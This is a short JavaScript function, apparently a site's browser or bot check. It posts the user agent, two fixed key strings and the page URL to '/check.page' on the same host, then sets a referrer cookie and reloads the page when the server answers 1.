function check() {
       var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject('Microsoft.XMLHTTP');

       xhr.onreadystatechange = function() {
         if (xhr.readyState == 4 && xhr.responseText == 1) {
           var date = new Date();
           date.setTime(date.getTime() + 60000);
           document.cookie = 'referrer=' + encodeURIComponent(document.referrer);
           window.location = window.location.href;
         }
       };

       var url = location.protocol + '//' + location.hostname + '/check.page';
       var data = 'ua=' + encodeURIComponent(navigator.userAgent) + '&sec=' + encodeURIComponent('superkey10')+ '&sec1=' + encodeURIComponent('superkey11') + '&rnd=' + Math.random() + '&loc=' + encodeURIComponent(window.location.href);

       xhr.open('POST', url, true);
       xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
       xhr.send(data);
};